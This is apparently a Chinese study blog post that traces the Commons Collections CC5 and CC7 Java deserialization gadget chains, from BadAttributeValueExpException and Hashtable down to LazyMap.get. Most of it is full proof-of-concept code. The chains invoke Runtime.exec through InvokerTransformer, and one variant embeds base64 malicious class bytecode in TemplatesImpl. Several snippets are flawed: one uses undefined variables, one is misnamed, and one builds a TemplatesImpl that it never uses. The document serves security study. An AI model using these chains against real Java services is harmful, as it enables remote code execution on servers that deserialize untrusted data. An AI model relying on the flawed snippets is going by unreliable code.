CC5链+CC7链分析学习
CC5链+CC7分析学习
环境:
和CC1的环境是一致的:
Commons.Collections 3.2.1
jdk8u65
这次分析两条链,红色的为CC5,蓝色的为CC7,都是在LazyMap.get有所改变

简单总结

CC5分析:
CC5链使用到的是
BadAttributeValueExpException这个类的反序列化函数中调用了toString方法

每个对象的toString方法不同,这里利用到的是TiedMapEntry.toString()

调用了getValue,我们让map为LazyMap,后面的链就完全和CC1一样了

构造目前的poc
public class CC5 {
public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, null);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
//序列化
new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(badAttributeValueExpException);
//反序列化
new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
}
}
但是发现还没有进行反序列化就执行了计算器
问题很简单,BadAttributeValueExpException构造函数中,出现了一个三目运算符,如何val不为空就执行toString,很显然,我们是要反序列化再执行,和之前一样的手法,先为空,然后反射设置

最后的poc非常简单
CC5_POC:
public class CC5 {
public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, null);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = BadAttributeValueExpException.class;
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
//序列化
new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(badAttributeValueExpException);
//反序列化
new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
}
}
当然加上后面使用类加载的半段
public class CC7 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = TemplatesImpl.class;
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "a");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEA" +
"AygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFi" +
"bGUBAAR0aGlzAQAPTGNvbS9rdWRvL1Rlc3Q7AQAJdHJhbnNmb3JtAQByKExjb20v" +
"c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1" +
"bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRp" +
"b25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hh" +
"bGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9v" +
"cmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +
"YW5kbGVyOwEACkV4Y2VwdGlvbnMHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94" +
"YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwv" +
"aW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +
"L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylW" +
"AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9k" +
"dG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBh" +
"Y2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVy" +
"OwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAJgEAClNvdXJjZUZpbGUBAAlU" +
"ZXN0LmphdmEMAAgACQcAKgwAKwAsAQAEY2FsYwwALQAuAQATamF2YS9pby9JT0V4" +
"Y2VwdGlvbgEADWNvbS9rdWRvL1Rlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFs" +
"YW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29t" +
"L3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj" +
"ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2" +
"YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGph" +
"dmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAABAABAAgACQABAAoAAAAvAAEAAQAA" +
"AAUqtwABsQAAAAIACwAAAAYAAQAAAAsADAAAAAwAAQAAAAUADQAOAAAAAQAPABAA" +
"AgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAO" +
"AAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAPABcAAgAKAAAASQAA" +
"AAQAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACoABAAAAAEADQAOAAAAAAABABEA" +
"EgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAgAHAAJAAEACgAAAE8A" +
"AgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAOAAkA" +
"EQAMAA8ADQASAAwAAAACAAAAHQAAAAcAAkwHAB4AAAEAHwAAAAIAIA==");
byte[][] codes = {code};
bytecodes.set(templates,codes);
Transformer[] transformerArray = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, null);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = BadAttributeValueExpException.class;
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
//序列化
new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(badAttributeValueExpException);
//反序列化
new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
}
}
CC7分析
同样改变处在LazyMap.get(),这条链是如何来到这个入口的,我先把整个流程梳理一遍
首先看Hashtable的反序列化类,从这里开始,调用了reconstitutionPut()函数,跟进

会执行一个equals方法,我们这次用到的是LazyMap类

LazyMap继承了AbstractMapDecorator但是他并没有equals方法,所以会调用AbstractMapDecorator的equals方法

而此处的map即是构造Lazymap时传入的key,一般我们传入HashMap,调用Hashmap的equals方法

而HashMap没有equals方法,同样会找父类AbstractMap.equals方法

调用m.get方法,m也就是lazymap,找到这个入口了,现在流程分析完了,接下来就是让流程正常的执行了



也就是得执行LazyMap.equals(恶意的LazyMap)
首先我们hashtable不能为空,不然for循环elements进不去

hashtable是一个数组加链表,每个数组上的链都记录着(hash值%数组长度)这个值一样的的键值对
计算当前的传入的hashtable的键的hash值,也就是计算LazyMap.hashcode
index这样做的目的是确保索引值为正数,且在hashtable的数组范围内
hashtable当插入键值对时,首先通过键的hashCode()方法计算其哈希值,hash%数组长度确定在数组中的存储位置(hash值的计算方法)
如果这个表头不为空(因为在之前里面放值了),说明可能有hash冲突,然后会把这个Entry数组循环一遍(这里面记录hash值%数组长度都是一样的),第一判断hash是不是真的相等,然后看键值的比较->e.key.euqals(key),如果有,就报警
所以第一次一定进不到if判断,因为hash表为空,这个index计算出来的位置肯定没有元素,直接插入键值对,不会触发哈希冲突检查

而第二次也是同样的,我们也就是要让index和第一次相同,hash值也相同才能进行hash冲突判断,所以如何让两次hash相等?也就是我们的hashtable长度肯定得为2,然后两次的键.hashcode必须得相等。

构造技巧 ,如"Aa"和“BB” 调用String.hashCode()就相同
poc就可以写成目前这样,但是输出的hashcode是不相等的
public class CC7 {
public static void main(String[] args) throws Exception {
Map lazymap1 = LazyMap.decorate(hm1,new ConstantTransformer(1));
Map lazymap2 = LazyMap.decorate(hm2,new ConstantTransformer(2));
lazymap1.put("Aa", 1);
lazymap2.put("BB", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazymap1,1);
hashtable.put(lazymap2,1);
System.out.println("lazyMap1 hashcode:" + lazymap1.hashCode());
System.out.println("lazyMap2 hashcode:" + lazymap2.hashCode());
//序列化
new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(hashtable);
//反序列化
new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
}
}
我们debug,发现第二次调用,Aa和BB都进去了这是为什么

是因为我们调用put时,把整个利用链走过了,导致了这里把Aa put进去了

所以结尾要remove("Aa"),这样保证反序列化中,计算的两次hash值相等
如果不懂,可以再探究下lazymap.hashcode
lazymap没有hashCode函数,所以来到AbstractMap函数,里面做的操作就是把hashmap全部取出来hashcode,所以两次的hash值不一样,我们put进去之后要remove("Aa"),这样保证反序列化中,计算的两次hash值相等

第二次的hash为什么这么大也很简单,Aa已经算过hash值了,经过String.hash 再按位异或就很大了(不重要)



CC7_POC:
最后的poc写成这样了,关于put会弹计算器,我还没有找到方法绕过,ysoserial里也没有进行绕过
public class CC7 {
public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map lazymap1 = LazyMap.decorate(new HashMap(),chainedTransformer);
Map lazymap2 = LazyMap.decorate(new HashMap(),chainedTransformer);
lazymap1.put("Aa", 1);
lazymap2.put("BB", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazymap1,1);
hashtable.put(lazymap2,1);
lazymap2.remove("Aa");
//序列化
new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(hashtable);
//反序列化
new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
}
}
当然也可以结合动态类加载
public class CC7 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = TemplatesImpl.class;
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "a");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEA" +
"AygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFi" +
"bGUBAAR0aGlzAQAPTGNvbS9rdWRvL1Rlc3Q7AQAJdHJhbnNmb3JtAQByKExjb20v" +
"c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1" +
"bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRp" +
"b25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hh" +
"bGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9v" +
"cmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +
"YW5kbGVyOwEACkV4Y2VwdGlvbnMHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94" +
"YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwv" +
"aW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +
"L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylW" +
"AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9k" +
"dG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBh" +
"Y2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVy" +
"OwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAJgEAClNvdXJjZUZpbGUBAAlU" +
"ZXN0LmphdmEMAAgACQcAKgwAKwAsAQAEY2FsYwwALQAuAQATamF2YS9pby9JT0V4" +
"Y2VwdGlvbgEADWNvbS9rdWRvL1Rlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFs" +
"YW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29t" +
"L3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj" +
"ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2" +
"YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGph" +
"dmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAABAABAAgACQABAAoAAAAvAAEAAQAA" +
"AAUqtwABsQAAAAIACwAAAAYAAQAAAAsADAAAAAwAAQAAAAUADQAOAAAAAQAPABAA" +
"AgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAO" +
"AAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAPABcAAgAKAAAASQAA" +
"AAQAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACoABAAAAAEADQAOAAAAAAABABEA" +
"EgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAgAHAAJAAEACgAAAE8A" +
"AgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAOAAkA" +
"EQAMAA8ADQASAAwAAAACAAAAHQAAAAcAAkwHAB4AAAEAHwAAAAIAIA==");
byte[][] codes = {code};
bytecodes.set(templates,codes);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
Map lazymap1 = LazyMap.decorate(new HashMap(),chainedTransformer);
Map lazymap2 = LazyMap.decorate(new HashMap(),chainedTransformer);
lazymap1.put("Aa", 1);
lazymap2.put("BB", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazymap1,1);
hashtable.put(lazymap2,1);
lazymap2.remove("Aa");
//序列化
new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(hashtable);
//反序列化
new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
}
}

浙公网安备 33010602011771号